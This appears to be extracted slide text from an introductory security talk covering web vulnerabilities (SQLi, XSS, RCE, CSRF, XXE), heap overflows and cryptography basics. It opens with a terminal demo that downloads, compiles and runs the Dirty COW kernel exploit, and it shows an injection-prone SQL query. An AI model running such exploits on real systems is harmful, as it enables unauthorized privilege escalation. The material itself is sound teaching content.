$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
We define the set of clearance levels = {Unclassified, Confidential, Secret, Top Secret}
This security model is directed toward data integrity (rather than confidentiality) and is characterized by the phrase: "read up, write down". This is in contrast to the Bell-LaPadula model which is characterized by the phrase "read down, write up".
The internet is a nasty place. There are all kinda people snooping on your traffic, trying to DOS you or infect you with malware.
Text
Always use HTTPs to send your private data to a website.
Make sure CA is trusted
If you have a public IP, people will attack it.
Block all unwanted traffic.
Never trust anything from the internet, don't download blindly and never execute binaries from untrusted sources.
LETS ENCRYPT!
SELECT user from users where username='$USER' and password='$PASSWORD';
Exploit?
Lets try out a test application vulnerable to SQLI.
https://www.hacksplaining.com/exercises/sql-injection#/start
XSS also called as Cross-Site-Scripting. It allows malicious users to insert scripts into web-page and steal victim's cookies.
unicode(64976) ->
Let's try out an XSS exercise that shows how this vulnerability can be used.
https://www.hacksplaining.com/exercises/xss-stored#/yeast-of-your-problems
This is the most dangerous kind of vulnerability in a web application. Google recently awarded a 36K USD bounty to a security pen-tester who found RCE in Google App Engine.
Let's try it out:
https://www.hacksplaining.com/exercises/command-execution#/hosting
The attacker tricks victims into clicking something they don't intend to. By disguising the link, in an invisible div under an appealing click.
Cross-site Request Forgery
Requests to the server side APIs can be triggered from any client, not just from your website's UI.
XML External Entity
- An XML External Entity (XXE) attack (sometimes called an XXE injection attack) is based on Server Side Request Forgery (SSRF).
- This type of attack abuses a widely available but rarely used feature of XML parsers. Using XXE, an attacker is able to cause Denial of Service (DoS) as well as access local and remote content and services.
- In some cases, XXE may even enable port scanning and lead to remote code execution. There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).
Heap Overflow
Memory on the heap is dynamically allocated by the application at run-time and typically contains program data. Exploitation is performed by corrupting this data in specific ways to cause the application to overwrite internal structures such as linked list pointers. The canonical heap overflow technique overwrites dynamic memory allocation linkage (such as malloc meta data) and uses the resulting pointer exchange to overwrite a program function pointer.
https://github.com/shellphish/how2heap
Text
Text
Did you mean?
Cryptography = build ciphers
Cryptoanalysis = Analysis of _
Cryptology = _ + __
Cryptic much?
Hiding secret information
Payments
Cryptocurrencies
Cryptokitties
Elections
Bluetooth speakers
more mathsy stuff
Principle: Practical computational Hardness
a computational hardness assumption is the hypothesis that a particular problem cannot be solved efficiently (where efficiently typically means "in polynomial time").
CIA Triad
Confidentiality: only people with proper access can read it
Integrity: ensure data is not tampered with
Authentication: who are you?
Authorization: do you have permission?
Non-Repudiation: the assurance that someone cannot deny something - ensure that a party to a contract or a communication cannot deny the authenticity of their signature on a document or the sending of a message that they originated.
Cryptographic primitives
ENCR(Key, Plaintext)
=
"Cipher"text
Encryption Cipher == Encr + Decr
Encryption - Practical Computational Hardness
Key Generation / Derivation
Decryption
Cryptographic primitives
Alice
Bob
Eve - Adversary I (passive)
Mallory / Byzantine / Trent - Adversary II (active)
Oracle
Key Generation
Confidentiality
Integrity, Authentication
Types of attacks
Ciphertext only attack
Known Plaintext Attack
Chosen Plaintext Attack
Chosen Ciphertext Attack
Symmetric Key Crypto
Same key for encryption and decryption
Symmetric Key Crypto
substitution ciphers
OTP
Caesar
Vigenere
Enigma
AES
DES / 3DES
RC4
Block and Stream Ciphers
Key sharing problem
Diffie Hellman
ssh
TLS
Bluetooth pairing
X
Asymmetric Key Crypto
MD-x
SHA-x
HMAC - integrity verification
Hash functions
RSA
DSA
ECC
Authentication
Integrity
Non-repudiation
Digital Signatures
Authentication / LDAP /SSO
GPG / PGP
DRM
Misc
Social Engineering
Phishing
Traffic Analysis
Steganography
Forensics
Onion Routing
DevSecOps!
Misc